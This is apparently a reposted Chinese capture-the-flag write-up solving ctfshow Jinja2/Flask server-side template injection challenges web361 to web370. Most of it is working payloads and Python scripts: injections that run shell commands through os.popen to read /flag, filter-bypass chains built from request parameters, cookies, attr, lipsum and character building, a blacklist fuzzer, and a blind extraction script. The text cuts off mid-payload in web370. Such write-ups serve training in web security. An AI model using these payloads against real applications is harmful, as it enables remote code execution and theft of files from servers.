ctfshow web入门-SSTI

Posted H3rmesk1t

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ctfshow web入门-SSTI相关的知识,希望对你有一定的参考价值。

web361

题目描述

  • 名字就是考点

解题思路

  • 直接读取 FLAG 即可,这里利用的是 os._wrap_close
''.__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()
或者
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("cat /flag").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}
  • 贴一下确定 index 的脚本
import requests
from tqdm import tqdm

url = 'http://c019cb84-3254-4af1-bc56-f8bb3d483c7c.challenge.ctf.show:8080/?name='
headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/70.0.3538.110 Safari/537.36'}
for i in tqdm(range(500)):    
    url = url + "{{''.__class__.__mro__[-1].__subclasses__()[" + str(i) + "]}}"
    res = requests.get(url=url, headers=headers)
    if 'os._wrap_close' in res.text:
        print(i)
        break

web362

题目描述

  • 开始过滤

解题思路

  • 用上一题 {% %} 形式的 Payload 一把梭
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("cat /flag").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

web363

题目描述

  • 开始过滤

解题思路

  • 写个 FUZZ 的脚本(欢迎评论补充)看看过滤了啥
import requests
from tqdm import tqdm

url = 'http://889a9ec1-3a91-4e11-925e-3bde2e60fb4a.challenge.ctf.show:8080/?name='

headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}
fuzzList = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','0','1','2','3','4','5','6','7','8','9','\\\\','\\'','\\"','.','+','{','{{','%','#','if','for','class','(',')','[',']','base','bases','mro','_','__','init','globals','subclasses','popen','import','os','dir','builtins','config','get_flashed_messages','current_app','attr','getattr','request','chr','join','|','replace','decode','enter','exit','pop','getitem','args','url_for','range','session','dict','self','reload','count','length','print','curl']
blackList = []
for fuzz in tqdm(fuzzList):
    res = requests.get(url=(url+fuzz), headers=headers)
    if ':(' in res.text:
        blackList.append(fuzz)
print("blackList is ", end="")
print(blackList)
  • 测试后发现过滤了 '",利用 request.argsrequest.cookies 或者 request.values(也可以用于GET请求) 来绕过
{{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}&a=os&b=popen&c=cat%20/flag

web364

题目描述

  • 开始过滤

解题思路

  • 用 web363 的 FUZZ 脚本先跑一下,发现过滤了 '"args,用 request.values 发现不允许,那就用 request.cookies 来绕过吧
{{url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}}
Cookie:a=os&b=popen&c=cat%20/flag

web365

题目描述

  • 开始过滤

解题思路

  • 用 web363 的 FUZZ 脚本先跑一下,发现过滤了 '"[args
{{url_for.__globals__.os.popen(request.cookies.c).read()}}
Cookie:c=cat%20/flag

web366

题目描述

  • 开始过滤

解题思路

  • 用 web363 的 FUZZ 脚本先跑一下,发现过滤了 '"[_args,用 falsk 自带的过滤器 attr 来绕过
{{(lipsum|attr(request.cookies.globals)).os.popen(request.cookies.flag).read()}}
Cookie:globals=__globals__&flag=cat%20/flag

web367

题目描述

  • 开始过滤

解题思路

  • 用 web363 的 FUZZ 脚本先跑一下,发现过滤了 '"[__osget_flashed_messagescurrent_appurl_forargs,继续用 falsk 自带的过滤器 attr 来绕过,并且将 os 放进 request 即可
{{(lipsum|attr(request.values.globals)).get(request.values.a).popen(request.values.flag).read()}}&globals=__globals__&a=os&flag=cat%20/flag

web368

题目描述

  • 开始过滤

解题思路

  • 用 web363 的 FUZZ 脚本先跑一下,发现过滤了 '"{{[__osget_flashed_messagescurrent_appurl_forargs,用 {% %} 来绕过
{% print((lipsum|attr(request.values.globals)).get(request.values.a).popen(request.values.flag).read()) %}&globals=__globals__&a=os&flag=cat%20/flag
  • 还可以采用盲注的方式,这里放一个其他大师傅的盲注脚本
import requests

url="http://3db27dbc-dccc-46d0-bc78-eff3fc21af74.chall.ctf.show:8080/"
flag=""
for i in range(1,100):
    for j in "abcdefghijklmnopqrstuvwxyz0123456789-{}":
        params={
            'name':"{{% set a=(lipsum|attr(request.values.a)).get(request.values.b).open(request.values.c).read({}) %}}{{% if a==request.values.d %}}H3rmesk1t{{% endif %}}".format(i),
            'a':'__globals__',
            'b':'__builtins__',
            'c':'/flag',
            'd':f'{flag+j}'
        }
        r=requests.get(url=url,params=params)
        if "H3rmesk1t" in r.text:
            flag+=j
            print(flag)
            if j=="}":
                exit()
            break

web369

题目描述

  • 开始过滤

解题思路

  • 用 web363 的 FUZZ 脚本先跑一下,发现过滤了 '"{{[__osget_flashed_messagescurrent_appurl_forrequestargs,利用 config 来构造字符,这里转换成列表,再用列表的 pop 方法就可以成功得到某个字符
  • 这里贴一个脚本用来确定需要用到的字符在列表中的位置
import requests
from tqdm import tqdm

url = 'http://520dba47-0b81-4ed7-b420-33cc1ce8fa2f.challenge.ctf.show:8080/?name='
headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}
wordNeed = '_'
for i in tqdm(range(100)):
    url1 = "{%" + "set po=dict(po=a,p=a)|join() %}{%" + " set a=(()|select|string|list)|attr(po)("
    url2 = ") %}{% print(a) %}"
    res = requests.get(url=(url+url1+str(i)+url2),headers=headers)
    location=res.text.find("<h3>")
    word=res.text[location+4:location+5]
    if word == wordNeed:
        print(i,word)
  • Payload
{% set po=dict(po=a,p=a)|join() %}
{% set a=(()|select|string|list)|attr(po)(24) %}
{% set ini=(a,a,dict(init=a)|join(),a,a)|join() %}
{% set glob=(a,a,dict(globals=a)|join(),a,a)|join() %}
{% set geti=(a,a,dict(getitem=a)|join(),a,a)|join() %}
{% set built=(a,a,dict(builtins=a)|join(),a,a)|join() %}
{% set x=(q|attr(ini)|attr(glob)|attr(geti))(built) %}
{% set chr=x.chr %}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103) %}
{% print(x.open(file).read()) %}
或者
{% set o=dict(o=oo,s=ss)|join() %}
{% set po=dict(po=a,p=a)|join() %}
{% set a=(()|select|string|list)|attr(po)(24) %}
{% set glob=(a,a,dict(globals=a)|join(),a,a)|join() %}
{% set built=(a,a,dict(builtins=a)|join(),a,a)|join() %}
{% set x=(lipsum|attr(glob)).get(built) %}
{% set chr=x.chr %}
{% print(x.open(chr(47)~chr(102)~chr(108)~chr(97)~chr(103)).read()) %}

web370

题目描述

  • 开始过滤

解题思路

  • 先 FUZZ 一下得到黑名单:'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '\\',"'", '"', '{{', '[', '_', '__', 'os', 'get_flashed_messages', 'current_app', 'request', 'args', 'url_for',利用 count 或者 length 来获取数字,例如 {% set c=(dict(e=a)|join()|count) %} 或者 {% set c=(dict(e=a)|join()|length) %} 就能得到数字 1
  • Payload
{% set c=(dict(e=a)|join()|count) %}
{% set cc=(dict(ee=a)|join()|count) %}
{% set ccc=(dict(eee=a)|join()|count) %}
{% set cccc=(dict(eeee=a)|join()|count) %}
{% set ccccccc=(dict(eeeeeee=a)|join()|count) %}
{% set cccccccc=(dict(eeeeeeee=a)|join()|count) %}
{% set ccccccccc=(dict(eeeeeeeee=a)|join()|count) %}
{% set cccccccccc=(dict(eeeeeeeeee=a)|join()|count) %}
{% set coun=(cc~cccc)|int %}
{% set po=dict(po=a,p=a)|join() %}
{% set a=(<

以上是关于ctfshow web入门-SSTI的主要内容,如果未能解决你的问题,请参考以下文章

SSTI模板注入-中括号args单双引号被过滤绕过(ctfshow web入门365)

CTFshow刷题日记-WEB-SSTI(web361-372)

CTFSHOW大赛原题篇(web696-web710)

ctfshow web入门 信息搜集

ctfshow之web入门1

ctfshow web入门-sql注入